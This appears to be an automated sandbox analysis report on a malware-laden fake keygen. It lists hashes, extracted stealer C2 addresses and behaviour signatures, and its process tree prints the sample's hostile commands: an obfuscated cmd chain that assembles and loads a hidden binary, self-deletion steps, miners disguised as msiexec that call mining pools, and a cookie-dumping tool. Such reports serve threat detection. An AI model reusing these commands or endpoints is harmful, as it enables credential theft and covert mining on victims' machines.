Analysis

  • max time kernel
    1784s
  • max time network
    1782s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    17-06-2021 21:29

General

  • Target

    Grain.Surgery.2.all.versions.serial.key.gen.exe

  • Size

    6.1MB

  • MD5

    a24eaa1ec62b29b443c1559cf8b001f7

  • SHA1

    db66e8d669c09496c7b45af44381adec812d7d1a

  • SHA256

    77b8ef83b488213b6b49eb6176bc34fd5ac14b552e626218634b57c1de23059e

  • SHA512

    68d4369fa23d56c5d512de729697062103995af5fdb2dc112b11184be954a882865d1d4144054eeaed8b0ab76f01967d7a5a6e057625f7a43b25fc9d651947f7

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

e0aa5b6d2491c503baf06d4cfeb218de1cd41474

Attributes
  • url4cnc

    https://tttttt.me/hbackwoods1

rc4.plain
rc4.plain

Extracted

Family

pony

C2

http://www.oldhorse.info

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 57 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Drops file in Program Files directory 8 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 7 IoCs
  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 19 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 30 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 38 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
    1⤵
      PID:1072
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Themes
      1⤵
        PID:1172
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
        1⤵
          PID:1860
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2408
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2436
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2700
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s WpnService
            1⤵
            • Modifies registry class
            PID:2720
          • C:\Windows\Explorer.EXE
            C:\Windows\Explorer.EXE
            1⤵
              PID:3016
              • C:\Users\Admin\AppData\Local\Temp\Grain.Surgery.2.all.versions.serial.key.gen.exe
                "C:\Users\Admin\AppData\Local\Temp\Grain.Surgery.2.all.versions.serial.key.gen.exe"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3920
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2800
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                    keygen-pr.exe -p83fsase3Ge
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3948
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:4388
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                        C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                        6⤵
                        • Executes dropped EXE
                        PID:4584
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                    keygen-step-1.exe
                    4⤵
                    • Executes dropped EXE
                    PID:2760
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                    keygen-step-5.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1096
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /Q /C Type "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" > 8HMPX3yNX8.EXe && START 8HMPx3YNx8.EXE -Pj5t2y7oywfQ5I~TutXs & IF "" == "" for %J in ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill -Im "%~NXJ" /f > nUL
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4280
                      • C:\Users\Admin\AppData\Local\Temp\8HMPX3yNX8.EXe
                        8HMPx3YNx8.EXE -Pj5t2y7oywfQ5I~TutXs
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:4520
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /Q /C Type "C:\Users\Admin\AppData\Local\Temp\8HMPX3yNX8.EXe" > 8HMPX3yNX8.EXe && START 8HMPx3YNx8.EXE -Pj5t2y7oywfQ5I~TutXs & IF "-Pj5t2y7oywfQ5I~TutXs " == "" for %J in ( "C:\Users\Admin\AppData\Local\Temp\8HMPX3yNX8.EXe" ) do taskkill -Im "%~NXJ" /f > nUL
                          7⤵
                            PID:4696
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /Q /C eCHO | Set /p = "MZ" > ZrKBV.JIc &coPy /b /Y ZRKBV.JIC + GA51Q.O + FIDQA9h.Ie + 9RVF._H + 7UTh.i + KS2LcwEJ.HI + RxGOQCo.VPV + GUczo4T.M CY_RsA2.C > NuL &START regsvr32 CY_RSA2.c -u -s & deL gA51Q.O FIDqA9H.IE 9RVF._H 7UTh.i KS2LCWEJ.HI RxGOQCo.VPV gUCZo4t.M ZrKBV.Jic > NUl
                            7⤵
                              PID:4912
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                8⤵
                                  PID:5048
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" Set /p = "MZ" 1>ZrKBV.JIc"
                                  8⤵
                                    PID:5116
                                  • C:\Windows\SysWOW64\regsvr32.exe
                                    regsvr32 CY_RSA2.c -u -s
                                    8⤵
                                    • Loads dropped DLL
                                    • Suspicious use of NtCreateThreadExHideFromDebugger
                                    PID:4508
                              • C:\Windows\SysWOW64\taskkill.exe
                                taskkill -Im "keygen-step-5.exe" /f
                                6⤵
                                • Kills process with taskkill
                                PID:4592
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe
                            keygen-step-6.exe
                            4⤵
                            • Executes dropped EXE
                            • Modifies system certificate store
                            PID:2136
                            • C:\Users\Admin\AppData\Roaming\1478.tmp.exe
                              "C:\Users\Admin\AppData\Roaming\1478.tmp.exe"
                              5⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:4200
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\1478.tmp.exe"
                                6⤵
                                  PID:5100
                                  • C:\Windows\SysWOW64\timeout.exe
                                    timeout /T 10 /NOBREAK
                                    7⤵
                                    • Delays execution with timeout.exe
                                    PID:4744
                              • C:\Users\Admin\AppData\Roaming\2C08.tmp.exe
                                "C:\Users\Admin\AppData\Roaming\2C08.tmp.exe"
                                5⤵
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Suspicious use of SetThreadContext
                                PID:1900
                                • C:\Windows\system32\msiexec.exe
                                  -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w13759@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                  6⤵
                                    PID:4368
                                  • C:\Windows\system32\msiexec.exe
                                    -o pool.minexmr.com:4444 -u 87rRyMkZM4pNgAZPi5NX3DdxksaoNgd7bZUBVe3A9uemAhxc8EQJ6dAPZg2mYTwoezgJWNfTpFFmnVYWXqcNDMhLF7ihFgM.w5897 --cpu-max-threads-hint 50 -r 9999
                                    6⤵
                                    • Blocklisted process makes network request
                                    PID:4988
                                • C:\Users\Admin\AppData\Roaming\2D80.tmp.exe
                                  "C:\Users\Admin\AppData\Roaming\2D80.tmp.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • Drops startup file
                                  PID:4940
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe" >> NUL
                                  5⤵
                                    PID:4780
                                    • C:\Windows\System32\Conhost.exe
                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      6⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:4712
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping 127.0.0.1
                                      6⤵
                                      • Runs ping.exe
                                      PID:4236
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                  keygen-step-3.exe
                                  4⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:4288
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                    5⤵
                                      PID:4712
                                      • C:\Windows\SysWOW64\PING.EXE
                                        ping 1.1.1.1 -n 1 -w 3000
                                        6⤵
                                        • Runs ping.exe
                                        PID:4860
                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                    keygen-step-4.exe
                                    4⤵
                                    • Executes dropped EXE
                                    • Checks computer location settings
                                    • Suspicious use of WriteProcessMemory
                                    PID:4412
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe
                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      • Suspicious use of WriteProcessMemory
                                      PID:4512
                                      • C:\Windows\SysWOW64\rUNdlL32.eXe
                                        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                        6⤵
                                        • Loads dropped DLL
                                        • Modifies registry class
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4992
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\GloryWSetp.exe
                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\GloryWSetp.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5032
                                      • C:\Users\Admin\AppData\Roaming\1351688.exe
                                        "C:\Users\Admin\AppData\Roaming\1351688.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4900
                                      • C:\Users\Admin\AppData\Roaming\6760805.exe
                                        "C:\Users\Admin\AppData\Roaming\6760805.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        PID:4784
                                        • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                          "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:296
                                      • C:\Users\Admin\AppData\Roaming\5312690.exe
                                        "C:\Users\Admin\AppData\Roaming\5312690.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:3936
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Drops file in Program Files directory
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4404
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md7_7dfj.exe
                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md7_7dfj.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:4140
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\hbggg.exe
                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\hbggg.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      PID:4276
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        6⤵
                                        • Executes dropped EXE
                                        PID:1556
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        6⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1792
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        6⤵
                                        • Executes dropped EXE
                                        PID:5868
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        6⤵
                                        • Executes dropped EXE
                                        PID:5872
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                2⤵
                                • Enumerates system info in registry
                                • Modifies registry class
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious behavior: GetForegroundWindowSpam
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                PID:2316
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff9789d4f50,0x7ff9789d4f60,0x7ff9789d4f70
                                  3⤵
                                    PID:4720
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1632 /prefetch:2
                                    3⤵
                                      PID:4924
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1684 /prefetch:8
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5112
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2548 /prefetch:8
                                      3⤵
                                        PID:3576
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2408 /prefetch:1
                                        3⤵
                                          PID:4992
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2400 /prefetch:1
                                          3⤵
                                            PID:1284
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3540 /prefetch:1
                                            3⤵
                                              PID:1488
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3920 /prefetch:1
                                              3⤵
                                                PID:3728
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4068 /prefetch:1
                                                3⤵
                                                  PID:392
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3572 /prefetch:1
                                                  3⤵
                                                    PID:4764
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4928 /prefetch:8
                                                    3⤵
                                                      PID:3168
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
                                                      3⤵
                                                        PID:5080
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5256 /prefetch:8
                                                        3⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:744
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5004 /prefetch:8
                                                        3⤵
                                                          PID:4612
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5984 /prefetch:8
                                                          3⤵
                                                            PID:1792
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5232 /prefetch:8
                                                            3⤵
                                                              PID:1936
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6236 /prefetch:8
                                                              3⤵
                                                                PID:3156
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6264 /prefetch:8
                                                                3⤵
                                                                  PID:2280
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6272 /prefetch:8
                                                                  3⤵
                                                                    PID:4716
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6444 /prefetch:8
                                                                    3⤵
                                                                      PID:4572
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6428 /prefetch:8
                                                                      3⤵
                                                                        PID:1772
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6440 /prefetch:8
                                                                        3⤵
                                                                          PID:3776
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6308 /prefetch:8
                                                                          3⤵
                                                                            PID:4224
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6256 /prefetch:8
                                                                            3⤵
                                                                              PID:4372
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5988 /prefetch:8
                                                                              3⤵
                                                                                PID:3584
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7292 /prefetch:8
                                                                                3⤵
                                                                                  PID:1444
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7412 /prefetch:8
                                                                                  3⤵
                                                                                    PID:3400
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7272 /prefetch:8
                                                                                    3⤵
                                                                                      PID:4632
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6200 /prefetch:8
                                                                                      3⤵
                                                                                        PID:4228
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6476 /prefetch:8
                                                                                        3⤵
                                                                                          PID:1080
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7468 /prefetch:8
                                                                                          3⤵
                                                                                            PID:3968
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
